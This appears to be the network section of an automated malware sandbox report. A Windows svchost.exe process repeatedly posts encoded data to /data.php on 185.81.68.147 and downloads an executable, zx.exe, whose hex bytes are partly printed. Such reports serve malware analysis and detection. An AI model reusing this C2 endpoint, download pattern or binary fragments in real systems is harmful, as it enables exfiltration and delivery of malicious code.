Dec 26, 2024 12:06:43.769768000 CET	49980	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.769773960 CET	49981	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.769896030 CET	49980	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.769967079 CET	49981	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.889405012 CET	80	49980	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:43.889421940 CET	80	49981	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:47.680538893 CET	49980	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:47.680562973 CET	49981	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:47.936423063 CET	49992	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:47.937179089 CET	49993	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:48.056617975 CET	80	49992	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:48.056715965 CET	49992	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:48.057105064 CET	80	49993	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:48.057272911 CET	49993	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:48.057634115 CET	49992	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:48.060142994 CET	49993	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:48.179174900 CET	80	49992	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:48.181561947 CET	80	49993	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:51.938843966 CET	49993	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:51.938950062 CET	49992	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.061661959 CET	50002	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.062654018 CET	50003	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.181149006 CET	80	50002	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:52.181235075 CET	50002	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.182312965 CET	80	50003	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:52.182370901 CET	50003	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.185312986 CET	50002	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.185345888 CET	50003	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:52.304758072 CET	80	50002	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:52.304807901 CET	80	50003	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:56.109724045 CET	50002	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.109736919 CET	50003	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.280424118 CET	50014	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.295865059 CET	50015	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.767210960 CET	80	50014	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:56.767226934 CET	80	50015	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:56.767290115 CET	50014	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.767328024 CET	50015	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.767433882 CET	50014	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.767530918 CET	50015	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:56.887025118 CET	80	50014	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:56.887039900 CET	80	50015	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:00.281950951 CET	50014	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.281986952 CET	50015	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.406224966 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.406533957 CET	50024	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.543735981 CET	80	50023	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:00.543750048 CET	80	50024	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:00.543945074 CET	50024	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.543973923 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.544183016 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.544238091 CET	50024	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:00.672414064 CET	80	50023	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:00.672426939 CET	80	50024	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:03.515336037 CET	80	50023	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:03.515398979 CET	80	50023	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:03.515405893 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.515578032 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.532665014 CET	50023	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.652226925 CET	80	50023	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:03.709682941 CET	50031	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.829250097 CET	80	50031	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:03.830849886 CET	50031	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.834853888 CET	50031	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:03.954327106 CET	80	50031	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:04.406881094 CET	50024	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.406924963 CET	50031	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.541857958 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.542036057 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.661393881 CET	80	50034	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:04.661484003 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.661490917 CET	80	50035	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:04.661551952 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.661807060 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.661883116 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:04.783638954 CET	80	50034	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:04.785458088 CET	80	50035	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.195415020 CET	80	50035	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.195537090 CET	80	50035	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.195581913 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.195581913 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.195707083 CET	50035	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.315224886 CET	80	50035	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.328583956 CET	80	50034	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.328651905 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.328737020 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.328782082 CET	80	50034	185.81.68.147	192.168.2.5
Dec 26, 2024 12:07:06.328833103 CET	50034	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:07:06.448255062 CET	80	50034	185.81.68.147	192.168.2.5

HTTP Request Dependency Graph

185.81.68.147

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:01.164187908 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:02.711452961 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:01.164652109 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:02.934142113 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:03.041512966 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:04.592205048 CET	274	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 84 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 36 2b 43 7a 72 36 2b 72 34 66 54 30 36 75 50 75 39 65 50 71 39 65 33 6a 39 65 72 76 37 50 53 68 6f 2f 57 2b 6f 37 37 57 30 65 76 67 73 36 2b 76 71 2b 48 30 39 4f 72 6a 37 76 58 6a 36 76 58 74 34 2f 58 71 37 2b 7a 30 6a 34 2f 31 76 71 4f 2b 31 74 45 3d Data Ascii: 6+Czr6+r4fT06uPu9ePq9e3j9erv7PSho/W+o77W0evgs6+vq+H09Orj7vXj6vXt4/Xq7+z0j4/1vqO+1tE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:03.276761055 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:04.932406902 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:04.718410969 CET	95	OUT	GET /zx.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 185.81.68.147 Cache-Control: no-cache
Dec 26, 2024 12:05:06.143408060 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 01:47:03 GMT ETag: "5a452f-62a0e67fff3c0" Accept-Ranges: bytes Content-Length: 5915951 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 17 64 6b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 58 02 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 49 2f [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$XhcXhcXhc`_hcfhcgRhc[hc`QhcgIhcfphcbShcXhbhcKgAhcKaYhcRichXhcPEddkg"(X@I/[`lx`"h@P.text `.rdataB&(@@.datas@.pdata"`$@@.rsrc@@.reloch@B
Dec 26, 2024 12:05:06.143430948 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 e8 2f e1 00 00 8b 08 48 8b 05 ee cf 03 00 89 08 e8 27 e1 00 00 48 8b 08 48 8b 05 dd cf 03 00 48 89 48 08 48 Data Ascii: H(/H'HHHHHH($HqCH\$Hl$ LD$VWATAUAWH H3HDIHA.LHuHVHMVE3HI
Dec 26, 2024 12:05:06.143449068 CET	1236	IN	Data Raw: 8b cc e8 37 e9 00 00 85 c0 79 1c 4c 8d 46 12 48 8d 15 e4 a7 02 00 48 8d 0d 19 a8 02 00 e8 88 16 00 00 e9 af 00 00 00 8b 4e 0c e8 8b 30 01 00 4c 8b f8 48 85 c0 75 20 44 8b 4e 0c 4c 8d 46 12 48 8d 15 04 a8 02 00 48 8d 0d 11 a6 02 00 e8 58 16 00 00 Data Ascii: 7yLFHHN0LHu DNLFHHX~uME3HIW^Lt$PMHt; DH;HMAHGIH^HrhL H+uH\|$`Lt$PtI/LIIMtHI.D
Dec 26, 2024 12:05:06.143461943 CET	1236	IN	Data Raw: 8b c6 48 83 c4 20 41 5f 41 5e 5e c3 4c 8d 46 12 48 8d 15 57 a2 02 00 48 8d 0d 84 a2 02 00 e8 b3 11 00 00 b8 ff ff ff ff eb aa cc cc cc cc cc cc cc cc cc cc cc cc 40 53 57 48 83 ec 38 80 7a 11 6e 48 8b fa 48 8b d9 75 24 e8 78 fa ff ff 8b d8 85 c0 Data Ascii: H A_A^^LFHWH@SWH8znHHu$xyHWH_H8_[HnLd$`Ie)LHu(LGHRH6Ld$`H8_[H2L\|$ H!)LHuHWHTWE3H
Dec 26, 2024 12:05:06.143474102 CET	1236	IN	Data Raw: 83 1c 10 00 00 e8 88 01 00 00 8b 44 24 28 45 33 c0 48 2b f0 48 8b cf 48 8d 46 58 48 89 83 00 10 00 00 8b 54 24 2c 48 03 d0 e8 68 df 00 00 8b 4c 24 30 e8 db 26 01 00 48 89 83 08 10 00 00 48 85 c0 75 18 48 8d 15 88 9f 02 00 48 8d 0d 65 9c 02 00 e8 Data Ascii: D$(E3H+HHFXHT$,HhL$0&HHuHHeT$0LAHHsH}HJyD$0HHH*tHgHH;DfoRf3A\|of8
Dec 26, 2024 12:05:06.143495083 CET	1236	IN	Data Raw: 48 8b 4f 08 ba 30 00 00 00 41 b9 01 00 00 00 ff 15 f9 94 02 00 4c 8b 87 48 20 00 00 41 b9 01 00 00 00 48 8b 8f 30 20 00 00 ba 30 00 00 00 ff 15 da 94 02 00 4c 8b 87 48 20 00 00 41 b9 01 00 00 00 48 8b 8f 38 20 00 00 ba 30 00 00 00 ff 15 bb 94 02 Data Ascii: HO0ALH AH0 0LH AH8 0LH AH@ 0H0 LO(E3LO E3H8 jHOHT$`tDD$lHT$hfD+D$df+T$`H$pH3YL$I[I
Dec 26, 2024 12:05:06.143508911 CET	1236	IN	Data Raw: 4c 24 40 48 8b d8 e8 4b 1d 01 00 48 8b 4c 24 48 e8 41 1d 01 00 48 8b 4c 24 50 e8 37 1d 01 00 48 8b 8d 78 1f 00 00 48 85 c9 74 06 ff 15 09 8c 02 00 48 8b 8d 80 1f 00 00 48 85 c9 74 06 ff 15 97 8f 02 00 8b c3 48 8b 8d c0 20 00 00 48 33 cc e8 16 94 Data Ascii: L$@HKHL$HAHL$P7HxHtHHtH H3H!A^_^[]H\$Hl$Ht$H\|$ AVH 3IHDHtE33bHHtE33HaLHtE33HaHHLIHLEHfI
Dec 26, 2024 12:05:06.143764019 CET	1236	IN	Data Raw: 94 24 30 04 00 00 48 8d 4c 24 30 e8 c6 5d 00 00 33 c9 41 b9 30 00 00 00 48 85 c0 74 17 4c 8d 05 52 93 02 00 48 8d 94 24 30 04 00 00 ff 15 bc 8a 02 00 eb 12 4c 8d 05 0b 93 02 00 48 8d 54 24 30 ff 15 b0 8a 02 00 48 8b 8c 24 30 0c 00 00 48 33 cc e8 Data Ascii: $0HL$0]3A0HtLRH$0LHT$0H$0H3@HH_[LIKISMCMK SWHHHH3H$0HI{H\|$(HT$0LHD$ AHHVA0LHT$03H$0H3H
Dec 26, 2024 12:05:06.143820047 CET	1236	IN	Data Raw: 48 89 bc 24 a8 10 00 00 4c 89 b4 24 60 10 00 00 48 3b 9e 10 10 00 00 0f 83 15 01 00 00 0f 1f 44 00 00 80 7b 11 73 0f 85 eb 00 00 00 48 8b d3 48 8b ce e8 5b e6 ff ff 48 8b e8 48 85 c0 0f 84 78 02 00 00 4c 8d 73 12 ba 00 10 00 00 4c 89 74 24 28 4d Data Ascii: H$L$`H;D{sHH[HHxLsLt$(M" LD$ \HL$P=)HHL$P$H%IHLHHHSHHHHHHHL
Dec 26, 2024 12:05:06.143834114 CET	1236	IN	Data Raw: 00 00 eb 40 4c 8d 47 12 48 8d 94 24 d0 10 00 00 48 8d 8c 24 d0 20 00 00 e8 61 0b 00 00 41 3b c4 48 8d b4 24 d0 10 00 00 41 0f 44 dc e9 e3 fe ff ff 4c 8d 84 24 d0 00 00 00 48 8b d7 49 8b cd e8 fa e2 ff ff 8b d8 85 c0 75 2b 48 8b d7 49 8b cd e8 09 Data Ascii: @LGH$H$ aA;H$ADL$HIu+HIHI;8H'HWHVHHwAH$ 1L$0L$0L$0H$(1H$1L9t$0t$HD$0H8HD$0MvJ<
Dec 26, 2024 12:05:06.263509989 CET	1236	IN	Data Raw: 8d 54 24 50 48 89 4c 24 50 41 b8 08 00 00 00 48 c1 e9 18 80 c1 0d 88 4c 24 53 48 8b c8 e8 28 3f 00 00 48 85 c0 75 22 48 8b cb e8 e7 bb 00 00 48 8d 5f 10 48 8b d3 48 8d 0d ed 8a 02 00 e8 58 ee ff ff 8b c6 e9 73 ff ff ff 48 8d 9f 10 10 00 00 ba 00 Data Ascii: T$PHL$PAHL$SH(?Hu"HH_HHXsHHLOLs2H\|H@uH8pkgH HHHHOxKH80HuHHDyOHIHWH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:05.312515020 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:07.035650015 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:07.283718109 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:08.960352898 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:09.314829111 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:11.033709049 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49712	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:11.291512966 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:13.035480022 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49713	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
